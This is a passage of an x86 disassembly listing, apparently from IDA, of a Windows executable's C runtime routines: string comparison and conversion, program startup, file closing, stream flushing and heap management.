mov edi, [esp+8+arg_4]
or edx, edi
and edx, 3
jz short loc_41DD8D
test eax, 1
jz short loc_41DD6D
mov cl, [esi]
cmp cl, [edi]
jnz short loc_41DDBA
inc esi
inc edi
dec eax
jz short loc_41DD8A
loc_41DD6D: ; CODE XREF: sub_41DD40+20j
; sub_41DD40+48j
mov cl, [esi]
mov dl, [edi]
cmp cl, dl
jnz short loc_41DDBA
mov cl, [esi+1]
mov dl, [edi+1]
cmp cl, dl
jnz short loc_41DDBA
add edi, 2
add esi, 2
sub eax, 2
jnz short loc_41DD6D
loc_41DD8A: ; CODE XREF: sub_41DD40+2Bj
; sub_41DD40+84j
pop edi
pop esi
locret_41DD8C: ; CODE XREF: sub_41DD40+6j
retn
; ---------------------------------------------------------------------------
loc_41DD8D: ; CODE XREF: sub_41DD40+19j
mov ecx, eax
and eax, 3
shr ecx, 2
jz short loc_41DDC2
repe cmpsd
jz short loc_41DDC2
mov ecx, [esi-4]
mov edx, [edi-4]
cmp cl, dl
jnz short loc_41DDB5
cmp ch, dh
jnz short loc_41DDB5
shr ecx, 10h
shr edx, 10h
cmp cl, dl
jnz short loc_41DDB5
cmp ch, dh
loc_41DDB5: ; CODE XREF: sub_41DD40+63j
; sub_41DD40+67j ...
mov eax, 0
loc_41DDBA: ; CODE XREF: sub_41DD40+26j
; sub_41DD40+33j ...
sbb eax, eax
pop edi
sbb eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_41DDC2: ; CODE XREF: sub_41DD40+55j
; sub_41DD40+59j
test eax, eax
jz short loc_41DD8A
mov edx, [esi]
mov ecx, [edi]
cmp dl, cl
jnz short loc_41DDB5
dec eax
jz short loc_41DDE9
cmp dh, ch
jnz short loc_41DDB5
dec eax
jz short loc_41DDE9
and ecx, 0FF0000h
and edx, 0FF0000h
cmp edx, ecx
jnz short loc_41DDB5
dec eax
loc_41DDE9: ; CODE XREF: sub_41DD40+8Fj
; sub_41DD40+96j
pop edi
pop esi
retn
sub_41DD40 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DDEC proc near ; CODE XREF: sub_4186F5+6p
; sub_418713+48p ...
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_4DE684, 0
push ebx
push esi
push edi
jnz short loc_41DE19
mov eax, [ebp+arg_0]
cmp eax, 41h
jl loc_41DEB2
cmp eax, 5Ah
jg loc_41DEB2
add eax, 20h
jmp loc_41DEB2
; ---------------------------------------------------------------------------
loc_41DE19: ; CODE XREF: sub_41DDEC+Ej
mov ebx, [ebp+arg_0]
mov edi, 100h
push 1
cmp ebx, edi
pop esi
jge short loc_41DE4D
cmp dword_43F824, esi
jle short loc_41DE3B
push esi
push ebx
call sub_41FBB5
pop ecx
pop ecx
jmp short loc_41DE45
; ---------------------------------------------------------------------------
loc_41DE3B: ; CODE XREF: sub_41DDEC+42j
mov eax, off_43F618
mov al, [eax+ebx*2]
and eax, esi
loc_41DE45: ; CODE XREF: sub_41DDEC+4Dj
test eax, eax
jnz short loc_41DE4D
loc_41DE49: ; CODE XREF: sub_41DDEC+ADj
mov eax, ebx
jmp short loc_41DEB2
; ---------------------------------------------------------------------------
loc_41DE4D: ; CODE XREF: sub_41DDEC+3Aj
; sub_41DDEC+5Bj
mov edx, off_43F618
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_41DE71
and byte ptr [ebp+arg_0+2], 0
push 2
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
pop eax
jmp short loc_41DE7A
; ---------------------------------------------------------------------------
loc_41DE71: ; CODE XREF: sub_41DDEC+74j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
mov eax, esi
loc_41DE7A: ; CODE XREF: sub_41DDEC+83j
push esi
push 0
lea ecx, [ebp+var_4]
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push edi
push dword_4DE684
call sub_42316A
add esp, 20h
test eax, eax
jz short loc_41DE49
cmp eax, esi
jnz short loc_41DEA5
movzx eax, [ebp+var_4]
jmp short loc_41DEB2
; ---------------------------------------------------------------------------
loc_41DEA5: ; CODE XREF: sub_41DDEC+B1j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_41DEB2: ; CODE XREF: sub_41DDEC+16j
; sub_41DDEC+1Fj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41DDEC endp
; =============== S U B R O U T I N E =======================================
sub_41DEB7 proc near ; CODE XREF: sub_418C2F+9Cp
; sub_419C11+55p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
cmp word ptr [ecx], 0
lea eax, [ecx+2]
jz short loc_41DECE
loc_41DEC4: ; CODE XREF: sub_41DEB7+15j
mov dx, [eax]
inc eax
inc eax
test dx, dx
jnz short loc_41DEC4
loc_41DECE: ; CODE XREF: sub_41DEB7+Bj
sub eax, ecx
sar eax, 1
dec eax
retn
sub_41DEB7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DED4 proc near ; CODE XREF: sub_418C2F+6Ep
; sub_418C2F+7Fp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_0]
push ebx
push esi
xor esi, esi
xor eax, eax
cmp edx, esi
push edi
jz loc_41DFA1
mov edi, [ebp+arg_8]
cmp edi, esi
jz loc_41DFCE
cmp dword_4DE684, esi
jnz short loc_41DF25
cmp edi, esi
jbe loc_41DFCE
loc_41DF04: ; CODE XREF: sub_41DED4+4Aj
mov ecx, [ebp+arg_4]
add ecx, eax
movzx si, byte ptr [ecx]
mov [edx], si
cmp byte ptr [ecx], 0
jz loc_41DFCE
inc eax
inc edx
inc edx
cmp eax, edi
jb short loc_41DF04
jmp loc_41DFCE
; ---------------------------------------------------------------------------
loc_41DF25: ; CODE XREF: sub_41DED4+26j
mov ebx, [ebp+arg_4]
mov esi, dword_4280E8
push edi
push edx
push 0FFFFFFFFh
push ebx
push 9
push dword_4DE694
call esi ; MultiByteToWideChar
test eax, eax
jnz loc_41DFCD
call dword_428094 ; RtlGetLastWin32Error
cmp eax, 7Ah
jz short loc_41DF5F
loc_41DF50: ; CODE XREF: sub_41DED4+CBj
; sub_41DED4+F7j
mov dword_4DE5C4, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_41DFCE
; ---------------------------------------------------------------------------
loc_41DF5F: ; CODE XREF: sub_41DED4+7Aj
lea ecx, [edi-1]
mov eax, ebx
mov [ebp+arg_4], ecx
loc_41DF67: ; CODE XREF: sub_41DED4+B3j
mov cl, [eax]
test cl, cl
jz short loc_41DF89
mov edx, off_43F618
movzx ecx, cl
test byte ptr [edx+ecx*2+1], 80h
jz short loc_41DF7E
inc eax
loc_41DF7E: ; CODE XREF: sub_41DED4+A7j
mov ecx, [ebp+arg_4]
inc eax
dec [ebp+arg_4]
test ecx, ecx
jnz short loc_41DF67
loc_41DF89: ; CODE XREF: sub_41DED4+97j
push edi
sub eax, ebx
push [ebp+arg_0]
push eax
push ebx
push 1
push dword_4DE694
call esi ; MultiByteToWideChar
test eax, eax
jnz short loc_41DFCE
jmp short loc_41DF50
; ---------------------------------------------------------------------------
loc_41DFA1: ; CODE XREF: sub_41DED4+Fj
cmp dword_4DE684, esi
jnz short loc_41DFB4
push [ebp+arg_4]
call sub_41B650
pop ecx
jmp short loc_41DFCE
; ---------------------------------------------------------------------------
loc_41DFB4: ; CODE XREF: sub_41DED4+D3j
push esi
push esi
push 0FFFFFFFFh
push [ebp+arg_4]
push 9
push dword_4DE694
call dword_4280E8 ; MultiByteToWideChar
cmp eax, esi
jz short loc_41DF50
loc_41DFCD: ; CODE XREF: sub_41DED4+6Bj
dec eax
loc_41DFCE: ; CODE XREF: sub_41DED4+1Aj
; sub_41DED4+2Aj ...
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41DED4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DFD3 proc near
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = byte ptr -5Ch
var_30 = dword ptr -30h
var_2C = word ptr -2Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_428708
push offset sub_423B80
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 58h
push ebx
push esi
push edi
mov [ebp+var_18], esp
call dword_4281BC ; GetVersion
xor edx, edx
mov dl, ah
mov dword_4DE5DC, edx
mov ecx, eax
and ecx, 0FFh
mov dword_4DE5D8, ecx
shl ecx, 8
add ecx, edx
mov dword_4DE5D4, ecx
shr eax, 10h
mov dword_4DE5D0, eax
xor esi, esi
push esi
call sub_41E472
pop ecx
test eax, eax
jnz short loc_41E03F
push 1Ch
call sub_41E0EE
pop ecx
loc_41E03F: ; CODE XREF: sub_41DFD3+62j
mov [ebp+var_4], esi
call sub_4239CD
call dword_4281B8 ; GetCommandLineA
mov dword_4DFC6C, eax
call sub_42389B
mov dword_4DE638, eax
call sub_42364E
call sub_423595
call sub_41BDF4
mov [ebp+var_30], esi
lea eax, [ebp+var_5C]
push eax
call dword_4281B4 ; GetStartupInfoA
call sub_42353D
mov [ebp+var_64], eax
test byte ptr [ebp+var_30], 1
jz short loc_41E08C
movzx eax, [ebp+var_2C]
jmp short loc_41E08F
; ---------------------------------------------------------------------------
loc_41E08C: ; CODE XREF: sub_41DFD3+B1j
push 0Ah
pop eax
loc_41E08F: ; CODE XREF: sub_41DFD3+B7j
push eax
push [ebp+var_64]
push esi
push esi
call dword_4280A4 ; GetModuleHandleA
push eax
call sub_40121E
mov [ebp+var_60], eax
push eax
call sub_41BE21
mov eax, [ebp+var_14]
mov ecx, [eax]
mov ecx, [ecx]
mov [ebp+var_68], ecx
push eax
push ecx
call sub_4233B9
pop ecx
pop ecx
retn
sub_41DFD3 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
push dword ptr [ebp-68h]
call sub_41BE32
; =============== S U B R O U T I N E =======================================
sub_41E0C9 proc near ; CODE XREF: .XPack0:0041D6D8p
; sub_423595+4Ep ...
arg_0 = dword ptr 4
cmp dword_4DE640, 1
jnz short loc_41E0D7
call sub_423C58
loc_41E0D7: ; CODE XREF: sub_41E0C9+7j
push [esp+arg_0]
call sub_423C91
push 0FFh
call off_43D5E0
pop ecx
pop ecx
retn
sub_41E0C9 endp
; =============== S U B R O U T I N E =======================================
sub_41E0EE proc near ; CODE XREF: sub_41DFD3+66p
arg_0 = dword ptr 4
cmp dword_4DE640, 1
jnz short loc_41E0FC
call sub_423C58
loc_41E0FC: ; CODE XREF: sub_41E0EE+7j
push [esp+arg_0]
call sub_423C91
pop ecx
push 0FFh
call dword_42806C ; ExitProcess
retn
sub_41E0EE endp
; =============== S U B R O U T I N E =======================================
sub_41E112 proc near ; CODE XREF: sub_41B6CB+2Ap
; sub_4240FB+290p
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
cmp edi, dword_4DFA20
jnb loc_41E1AC
mov eax, edi
mov esi, edi
sar eax, 5
and esi, 1Fh
lea ebx, ds:4DF920h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [eax+esi+4], 1
jz short loc_41E1AC
push edi
call sub_423F6A
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41E18B
cmp edi, 1
jz short loc_41E159
cmp edi, 2
jnz short loc_41E16F
loc_41E159: ; CODE XREF: sub_41E112+40j
push 2
call sub_423F6A
push 1
mov ebp, eax
call sub_423F6A
pop ecx
cmp eax, ebp
pop ecx
jz short loc_41E18B
loc_41E16F: ; CODE XREF: sub_41E112+45j
push edi
call sub_423F6A
pop ecx
push eax
call dword_428070 ; CloseHandle
test eax, eax
jnz short loc_41E18B
call dword_428094 ; RtlGetLastWin32Error
mov ebp, eax
jmp short loc_41E18D
; ---------------------------------------------------------------------------
loc_41E18B: ; CODE XREF: sub_41E112+3Bj
; sub_41E112+5Bj ...
xor ebp, ebp
loc_41E18D: ; CODE XREF: sub_41E112+77j
push edi
call sub_423EF0
mov eax, [ebx]
pop ecx
and byte ptr [eax+esi+4], 0
test ebp, ebp
jz short loc_41E1A8
push ebp
call sub_420A7F
pop ecx
jmp short loc_41E1BD
; ---------------------------------------------------------------------------
loc_41E1A8: ; CODE XREF: sub_41E112+8Bj
xor eax, eax
jmp short loc_41E1C0
; ---------------------------------------------------------------------------
loc_41E1AC: ; CODE XREF: sub_41E112+Ej
; sub_41E112+2Fj
and dword_4DE5C8, 0
mov dword_4DE5C4, 9
loc_41E1BD: ; CODE XREF: sub_41E112+94j
or eax, 0FFFFFFFFh
loc_41E1C0: ; CODE XREF: sub_41E112+98j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41E112 endp
; =============== S U B R O U T I N E =======================================
sub_41E1C5 proc near ; CODE XREF: sub_41B6CB+22p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz short loc_41E1EE
test al, 8
jz short loc_41E1EE
push dword ptr [esi+8]
call sub_41B721
and word ptr [esi+0Ch], 0FBF7h
xor eax, eax
pop ecx
mov [esi], eax
mov [esi+8], eax
mov [esi+4], eax
loc_41E1EE: ; CODE XREF: sub_41E1C5+Aj
; sub_41E1C5+Ej
pop esi
retn
sub_41E1C5 endp
; =============== S U B R O U T I N E =======================================
sub_41E1F0 proc near ; CODE XREF: sub_41E290+2Dp
; sub_41E290+48p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jnz short loc_41E202
push esi
call sub_41E290
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41E202: ; CODE XREF: sub_41E1F0+7j
push esi
call sub_41E22B
test eax, eax
pop ecx
jz short loc_41E212
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_41E212: ; CODE XREF: sub_41E1F0+1Bj
test byte ptr [esi+0Dh], 40h
jz short loc_41E227
push dword ptr [esi+10h]
call sub_423FA7
neg eax
pop ecx
pop esi
sbb eax, eax
retn
; ---------------------------------------------------------------------------
loc_41E227: ; CODE XREF: sub_41E1F0+26j
xor eax, eax
pop esi
retn
sub_41E1F0 endp
; =============== S U B R O U T I N E =======================================
sub_41E22B proc near ; CODE XREF: sub_41B6CB+1Ap
; sub_41D88C+37p ...
arg_0 = dword ptr 4
push ebx
push esi
mov esi, [esp+8+arg_0]
xor ebx, ebx
push edi
mov eax, [esi+0Ch]
mov ecx, eax
and ecx, 3
cmp cl, 2
jnz short loc_41E278
test ax, 108h
jz short loc_41E278
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
test edi, edi
jle short loc_41E278
push edi
push eax
push dword ptr [esi+10h]
call sub_422FBD
add esp, 0Ch
cmp eax, edi
jnz short loc_41E271
mov eax, [esi+0Ch]
test al, 80h
jz short loc_41E278
and al, 0FDh
mov [esi+0Ch], eax
jmp short loc_41E278
; ---------------------------------------------------------------------------
loc_41E271: ; CODE XREF: sub_41E22B+36j
or dword ptr [esi+0Ch], 20h
or ebx, 0FFFFFFFFh
loc_41E278: ; CODE XREF: sub_41E22B+14j
; sub_41E22B+1Aj ...
mov eax, [esi+8]
and dword ptr [esi+4], 0
mov [esi], eax
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_41E22B endp
; =============== S U B R O U T I N E =======================================
sub_41E287 proc near ; CODE XREF: sub_4240A3p
push 1
call sub_41E290
pop ecx
retn
sub_41E287 endp
; =============== S U B R O U T I N E =======================================
sub_41E290 proc near ; CODE XREF: sub_41E1F0+Ap
; sub_41E287+2p
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor esi, esi
xor ebx, ebx
xor edi, edi
cmp dword_4DF900, esi
jle short loc_41E2EE
loc_41E2A1: ; CODE XREF: sub_41E290+5Cj
mov eax, dword_4DE8E8
mov eax, [eax+esi*4]
test eax, eax
jz short loc_41E2E5
mov ecx, [eax+0Ch]
test cl, 83h
jz short loc_41E2E5
cmp [esp+0Ch+arg_0], 1
jnz short loc_41E2CB
push eax
call sub_41E1F0
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41E2E5
inc ebx
jmp short loc_41E2E5
; ---------------------------------------------------------------------------
loc_41E2CB: ; CODE XREF: sub_41E290+2Aj
cmp [esp+0Ch+arg_0], 0
jnz short loc_41E2E5
test cl, 2
jz short loc_41E2E5
push eax
call sub_41E1F0
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_41E2E5
or edi, eax
loc_41E2E5: ; CODE XREF: sub_41E290+1Bj
; sub_41E290+23j ...
inc esi
cmp esi, dword_4DF900
jl short loc_41E2A1
loc_41E2EE: ; CODE XREF: sub_41E290+Fj
cmp [esp+0Ch+arg_0], 1
mov eax, ebx
jz short loc_41E2F9
mov eax, edi
loc_41E2F9: ; CODE XREF: sub_41E290+65j
pop edi
pop esi
pop ebx
retn
sub_41E290 endp
; =============== S U B R O U T I N E =======================================
sub_41E2FD proc near ; CODE XREF: sub_41E32A+136p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 0
and dword ptr [esi], 0
call dword_4280A4 ; GetModuleHandleA
cmp word ptr [eax], 5A4Dh
jnz short loc_41E328
mov ecx, [eax+3Ch]
test ecx, ecx
jz short loc_41E328
add eax, ecx
mov cl, [eax+1Ah]
mov [esi], cl
mov al, [eax+1Bh]
mov [esi+1], al
loc_41E328: ; CODE XREF: sub_41E2FD+15j
; sub_41E2FD+1Cj
pop esi
retn
sub_41E2FD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E32A proc near ; CODE XREF: sub_41E472+20p
var_122C = byte ptr -122Ch
var_19C = byte ptr -19Ch
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_88 = dword ptr -88h
var_4 = byte ptr -4
push ebp
mov ebp, esp
mov eax, 122Ch
call sub_41C190
lea eax, [ebp+var_98]
push ebx
push eax
mov [ebp+var_98], 94h
call dword_4280D0 ; GetVersionExA
test eax, eax
jz short loc_41E36D
cmp [ebp+var_88], 2
jnz short loc_41E36D
cmp [ebp+var_94], 5
jb short loc_41E36D
push 1
pop eax
jmp loc_41E46F
; ---------------------------------------------------------------------------
loc_41E36D: ; CODE XREF: sub_41E32A+27j
; sub_41E32A+30j ...
lea eax, [ebp+var_122C]
push 1090h
push eax
push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
call dword_4281C0 ; GetEnvironmentVariableA
test eax, eax
jz loc_41E45C
xor ebx, ebx
lea ecx, [ebp+var_122C]
cmp [ebp+var_122C], bl
jz short loc_41E3AF
loc_41E39C: ; CODE XREF: sub_41E32A+83j
mov al, [ecx]
cmp al, 61h
jl short loc_41E3AA
cmp al, 7Ah
jg short loc_41E3AA
sub al, 20h
mov [ecx], al
loc_41E3AA: ; CODE XREF: sub_41E32A+76j
; sub_41E32A+7Aj
inc ecx
cmp [ecx], bl
jnz short loc_41E39C
loc_41E3AF: ; CODE XREF: sub_41E32A+70j
lea eax, [ebp+var_122C]
push 16h
push eax
push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
call sub_41C4E0
add esp, 0Ch
test eax, eax
jnz short loc_41E3D1
lea eax, [ebp+var_122C]
jmp short loc_41E41A
; ---------------------------------------------------------------------------
loc_41E3D1: ; CODE XREF: sub_41E32A+9Dj
lea eax, [ebp+var_19C]
push 104h
push eax
push ebx
call dword_428078 ; GetModuleFileNameA
cmp [ebp+var_19C], bl
lea ecx, [ebp+var_19C]
jz short loc_41E405
loc_41E3F2: ; CODE XREF: sub_41E32A+D9j
mov al, [ecx]
cmp al, 61h
jl short loc_41E400
cmp al, 7Ah
jg short loc_41E400
sub al, 20h
mov [ecx], al
loc_41E400: ; CODE XREF: sub_41E32A+CCj
; sub_41E32A+D0j
inc ecx
cmp [ecx], bl
jnz short loc_41E3F2
loc_41E405: ; CODE XREF: sub_41E32A+C6j
lea eax, [ebp+var_19C]
push eax
lea eax, [ebp+var_122C]
push eax
call sub_41BF70
pop ecx
pop ecx
loc_41E41A: ; CODE XREF: sub_41E32A+A5j
cmp eax, ebx
jz short loc_41E45C
push 2Ch
push eax
call sub_41C620
pop ecx
cmp eax, ebx
pop ecx
jz short loc_41E45C
inc eax
mov ecx, eax
cmp [eax], bl
jz short loc_41E441
loc_41E433: ; CODE XREF: sub_41E32A+115j
cmp byte ptr [ecx], 3Bh
jnz short loc_41E43C
mov [ecx], bl
jmp short loc_41E43D
; ---------------------------------------------------------------------------
loc_41E43C: ; CODE XREF: sub_41E32A+10Cj
inc ecx
loc_41E43D: ; CODE XREF: sub_41E32A+110j
cmp [ecx], bl
jnz short loc_41E433
loc_41E441: ; CODE XREF: sub_41E32A+107j
push 0Ah
push ebx
push eax
call sub_41C216
add esp, 0Ch
cmp eax, 2
jz short loc_41E46F
cmp eax, 3
jz short loc_41E46F
cmp eax, 1
jz short loc_41E46F
loc_41E45C: ; CODE XREF: sub_41E32A+5Cj
; sub_41E32A+F2j ...
lea eax, [ebp+var_4]
push eax
call sub_41E2FD
cmp [ebp+var_4], 6
pop ecx
sbb eax, eax
add eax, 3
loc_41E46F: ; CODE XREF: sub_41E32A+3Ej
; sub_41E32A+126j ...
pop ebx
leave
retn
sub_41E32A endp
; =============== S U B R O U T I N E =======================================
sub_41E472 proc near ; CODE XREF: sub_41DFD3+5Ap
arg_0 = dword ptr 4
xor eax, eax
push 0
cmp [esp+4+arg_0], eax
push 1000h
setz al
push eax
call dword_4281C8 ; HeapCreate
test eax, eax
mov dword_4DFC64, eax
jz short loc_41E4C8
call sub_41E32A
cmp eax, 3
mov dword_4DFC68, eax
jnz short loc_41E4AE
push 3F8h
call sub_41E4CF
pop ecx
jmp short loc_41E4B8
; ---------------------------------------------------------------------------
loc_41E4AE: ; CODE XREF: sub_41E472+2Dj
cmp eax, 2
jnz short loc_41E4CB
call sub_41F016
loc_41E4B8: ; CODE XREF: sub_41E472+3Aj
test eax, eax
jnz short loc_41E4CB
push dword_4DFC64
call dword_4281C4 ; HeapDestroy
loc_41E4C8: ; CODE XREF: sub_41E472+1Ej
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41E4CB: ; CODE XREF: sub_41E472+3Fj
; sub_41E472+48j
push 1
pop eax
retn
sub_41E472 endp
; =============== S U B R O U T I N E =======================================
sub_41E4CF proc near ; CODE XREF: sub_41E472+34p
arg_0 = dword ptr 4
push 140h
push 0
push dword_4DFC64
call dword_428154 ; RtlAllocateHeap
test eax, eax
mov dword_4DFC5C, eax
jnz short loc_41E4EC
retn
; ---------------------------------------------------------------------------
loc_41E4EC: ; CODE XREF: sub_41E4CF+1Aj
mov ecx, [esp+arg_0]
and dword_4DFC54, 0
and dword_4DFC58, 0
push 1
mov dword_4DFC50, eax
mov dword_4DFC60, ecx
mov dword_4DFC48, 10h
pop eax
retn
sub_41E4CF endp
; =============== S U B R O U T I N E =======================================
sub_41E517 proc near ; CODE XREF: sub_41B721+17p
; sub_41B872+4Cp ...
arg_0 = dword ptr 4
mov eax, dword_4DFC58
lea ecx, [eax+eax*4]
mov eax, dword_4DFC5C
lea ecx, [eax+ecx*4]
loc_41E527: ; CODE XREF: sub_41E517+26j
cmp eax, ecx
jnb short loc_41E53F
mov edx, [esp+arg_0]
sub edx, [eax+0Ch]
cmp edx, 100000h
jb short locret_41E541
add eax, 14h
jmp short loc_41E527
; ---------------------------------------------------------------------------
loc_41E53F: ; CODE XREF: sub_41E517+12j
xor eax, eax
locret_41E541: ; CODE XREF: sub_41E517+21j
retn
sub_41E517 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E542 proc near ; CODE XREF: sub_41B721+23p
; sub_41B872+A4p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
mov ecx, [ebp+arg_0]
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [ecx+10h]
push edi
mov edi, esi
add esi, 0FFFFFFFCh
sub edi, [ecx+0Ch]
shr edi, 0Fh
mov ecx, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_10], ecx
mov ecx, [esi]
dec ecx
test cl, 1
mov [ebp+var_4], ecx
jnz loc_41E866
mov edx, [ecx+esi]
lea ebx, [ecx+esi]
mov [ebp+var_C], edx
mov edx, [esi-4]
mov [ebp+var_8], edx
mov edx, [ebp+var_C]
test dl, 1
mov [ebp+arg_4], ebx
jnz short loc_41E618
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_41E5A6
push 3Fh
pop edx
loc_41E5A6: ; CODE XREF: sub_41E542+5Fj
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_41E5FA
cmp edx, 20h
jnb short loc_41E5D1
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_41E5F2
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41E5F2
; ---------------------------------------------------------------------------
loc_41E5D1: ; CODE XREF: sub_41E542+6Fj
lea ecx, [edx-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41E5F2
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41E5F2: ; CODE XREF: sub_41E542+86j
; sub_41E542+8Dj ...
mov ecx, [ebp+var_4]
mov ebx, [ebp+arg_4]
jmp short loc_41E5FD
; ---------------------------------------------------------------------------
loc_41E5FA: ; CODE XREF: sub_41E542+6Aj
mov ecx, [ebp+var_4]
loc_41E5FD: ; CODE XREF: sub_41E542+B6j
mov edx, [ebx+8]
mov ebx, [ebx+4]
add ecx, [ebp+var_C]
mov [edx+4], ebx
mov edx, [ebp+arg_4]
mov [ebp+var_4], ecx
mov ebx, [edx+4]
mov edx, [edx+8]
mov [ebx+8], edx
loc_41E618: ; CODE XREF: sub_41E542+56j
mov edx, ecx
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_41E626
push 3Fh
pop edx
loc_41E626: ; CODE XREF: sub_41E542+DFj
mov ebx, [ebp+var_8]
and ebx, 1
mov [ebp+var_C], ebx
jnz loc_41E6C9
sub esi, [ebp+var_8]
mov ebx, [ebp+var_8]
sar ebx, 4
push 3Fh
mov [ebp+arg_4], esi
dec ebx
pop esi
cmp ebx, esi
jbe short loc_41E64B
mov ebx, esi
loc_41E64B: ; CODE XREF: sub_41E542+105j
add ecx, [ebp+var_8]
mov edx, ecx
mov [ebp+var_4], ecx
sar edx, 4
dec edx
cmp edx, esi
jbe short loc_41E65D
mov edx, esi
loc_41E65D: ; CODE XREF: sub_41E542+117j
cmp ebx, edx
jz short loc_41E6C4
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
cmp esi, [ecx+8]
jnz short loc_41E6AC
cmp ebx, 20h
jnb short loc_41E68D
mov esi, 80000000h
mov ecx, ebx
shr esi, cl
not esi
and [eax+edi*4+44h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_41E6AC
mov ecx, [ebp+arg_0]
and [ecx], esi
jmp short loc_41E6AC
; ---------------------------------------------------------------------------
loc_41E68D: ; CODE XREF: sub_41E542+12Dj
lea ecx, [ebx-20h]
mov esi, 80000000h
shr esi, cl
not esi
and [eax+edi*4+0C4h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_41E6AC
mov ecx, [ebp+arg_0]
and [ecx+4], esi
loc_41E6AC: ; CODE XREF: sub_41E542+128j
; sub_41E542+142j ...
mov ecx, [ebp+arg_4]
mov esi, [ecx+8]
mov ecx, [ecx+4]
mov [esi+4], ecx
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
mov ecx, [ecx+8]
mov [esi+8], ecx
loc_41E6C4: ; CODE XREF: sub_41E542+11Dj
mov esi, [ebp+arg_4]
jmp short loc_41E6CC
; ---------------------------------------------------------------------------
loc_41E6C9: ; CODE XREF: sub_41E542+EDj
mov ebx, [ebp+arg_0]
loc_41E6CC: ; CODE XREF: sub_41E542+185j
cmp [ebp+var_C], 0
jnz short loc_41E6DA
cmp ebx, edx
jz loc_41E75B
loc_41E6DA: ; CODE XREF: sub_41E542+18Ej
mov ecx, [ebp+var_10]
mov ebx, [ecx+edx*8+4]
lea ecx, [ecx+edx*8]
mov [esi+4], ebx
mov [esi+8], ecx
mov [ecx+4], esi
mov ecx, [esi+4]
mov [ecx+8], esi
mov ecx, [esi+4]
cmp ecx, [esi+8]
jnz short loc_41E75B
mov cl, [edx+eax+4]
cmp edx, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [edx+eax+4], cl
jnb short loc_41E732
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41E721
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_41E721: ; CODE XREF: sub_41E542+1CFj
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
lea eax, [eax+edi*4+44h]
or [eax], ebx
jmp short loc_41E75B
; ---------------------------------------------------------------------------
loc_41E732: ; CODE XREF: sub_41E542+1C9j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41E748
lea ecx, [edx-20h]
mov ebx, 80000000h
shr ebx, cl
